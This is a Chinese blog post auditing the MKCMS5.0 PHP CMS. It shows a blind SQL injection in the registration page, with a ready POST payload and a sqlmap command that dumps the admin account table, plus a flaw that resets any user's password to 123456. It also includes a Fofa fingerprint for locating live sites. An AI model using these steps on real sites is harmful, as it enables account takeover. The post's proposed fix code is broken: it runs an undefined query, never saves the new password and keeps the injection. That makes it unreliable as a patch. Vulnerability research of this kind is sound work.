某KCMS5.0 代码审计 (前台注入&任意用户密码重置)
TheKingOfDuck 漏洞分析 10003浏览 · 2019-03-01 01:52

MKCMS5.0代码审计

0x01 前言

MKCMS5.0是一款基于PHP+MYSQL开发制作的专业全自动采集电影网站源码。程序不需授权上传直接使用,自动更新电影,无人值守! 完整的会员影视中心 后台可对接卡盟 可以设置收费观看模式。

一个师傅丢过来的,比较小众。

代码地址:

链接:https://share.weiyun.com/5sQBlCd 密码:8nb9qy

Fofa采集直通车:https://fofa.so/result?qbase64=57Gz6YW35b2x6KeG

指纹:"米酷影视","/style/favicon.png"

0x02 审计过程

初步看了一下,有360???

前台SQL注入

漏洞出现在/ucenter/reg.php第7-19行:

if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}

注册用户名时$username参数传到后台后经过stripslashes()函数处理,而stripslashes()函数的作用是删除addslashes() 函数添加的反斜杠。这里就很郁闷了,过滤反斜杠干嘛?

当前页面无输出点,只是返回一个注册/未注册(通过if判断true或者false),可以使用布尔盲注来解决这个问题

POC:

POST /ucenter/reg.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/ucenter/reg.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close
Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3
Upgrade-Insecure-Requests: 1

name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=

将POC中的数据包保存下来丢给sqlmap跑即可。

获取管理员账号:

sqlmap -r inject.txt -D mkcms -T mkcms_manager --dump

任意用户密码重置

漏洞出现在`/ucenter/repass.php`第1-44行:

<?php 
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};

if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
$_data['u_password'] = md5(123456);
$sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
if (mysql_query($sql)) {

$token =$row['u_question'];
include("emailconfig.php");
    //创建$smtp对象 这里面的一个true是表示使用身份验证,否则不使用身份验证.
    $smtp = new Smtp($MailServer, $MailPort, $smtpuser, $smtppass, true); 
    $smtp->debug = false; 
    $mailType = "HTML"; //信件类型,文本:text;网页:HTML
    $email = $email;  //收件人邮箱
    $emailTitle = "".$mkcms_name."用户找回密码"; //邮件主题
    $emailBody = "亲爱的".$username.":<br/>感谢您在我站注册帐号。<br/>您的初始密码为123456<br/>如果此次找回密码请求非你本人所发,请忽略本邮件。<br/><p style='text-align:right'>-------- ".$mkcms_name." 敬上</p>";

    // sendmail方法
    // 参数1是收件人邮箱
    // 参数2是发件人邮箱
    // 参数3是主题(标题)
    // 参数4是邮件主题(标题)
    // 参数4是邮件内容  参数是内容类型文本:text 网页:HTML
    $rs = $smtp->sendmail($email, $smtpMail, $emailTitle, $emailBody, $mailType);
if($rs==true){
echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';
}else{
echo "找回密码失败";
}

}
}
}

?>

本质上来说此处是一个逻辑问题,程序未通过邮箱等验证是否为用户本身就直接先在第13-14行把用户密码重置为123456了,根本没管邮件发送成功没有。

此处过滤了单引号,所以无法通过然后邮箱账号进行重置

0x03 修复

注册处的注入可像密码找回处一样,过滤一下就OK。

找回密码处可修改为如下代码:

<?php 
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};

function randomkeys($length) {
  $pattern = '1234567890abcdefghijklmnopqrstuvwxyz 
               ABCDEFGHIJKLOMNOPQRSTUVWXYZ';
    for($i=0;$i<$length;$i++) 
    { 
        $key .= $pattern{mt_rand(0,35)}; 
    } 
    return $key; 
};

$repass = randomkeys(10);

if(isset($_POST['submit'])){
  $username = stripslashes(trim($_POST['name']));
  $email = trim($_POST['email']);
  // 检测用户名是否存在
  $query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");

  if(!! $row = mysql_fetch_array($query)){
    if (mysql_query($sql)) {
      $token =$row['u_question'];
      include("emailconfig.php");
      //创建$smtp对象 这里面的一个true是表示使用身份验证,否则不使用身份验证.
      $smtp = new Smtp($MailServer, $MailPort, $smtpuser, $smtppass, true); 
      $smtp->debug = false; 
      $mailType = "HTML"; //信件类型,文本:text;网页:HTML
      $email = $email;  //收件人邮箱
      $emailTitle = "".$mkcms_name."用户找回密码"; //邮件主题
      $emailBody = "亲爱的".$username.":<br/>感谢您在我站注册帐号。<br/>您的初始密码为".$repass."<br/>如果此次找回密码请求非你本人所发,请忽略本邮件。<br/><p style='text-align:right'>-------- ".$mkcms_name." 敬上</p>";

      // sendmail方法
      // 参数1是收件人邮箱
      // 参数2是发件人邮箱
      // 参数3是主题(标题)
      // 参数4是邮件主题(标题)
      // 参数4是邮件内容  参数是内容类型文本:text 网页:HTML
      $rs = $smtp->sendmail($email, $smtpMail, $emailTitle, $emailBody, $mailType);
      if($rs==true){
        $_data['u_password'] = md5($repass);
        $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
        echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';
      }else{
        echo "找回密码失败";
      }
    }
  }
}

?>

增加一个生成随机密码的函数,将把新密码更新到数据库的流程放到发送邮件成功后即可。

0x04 总结

仅供技术交流使用,查看语句是否拼接成功时用到的工具:

https://github.com/TheKingOfDuck/MySQLMonitor
1 条评论
某人
表情
可输入 255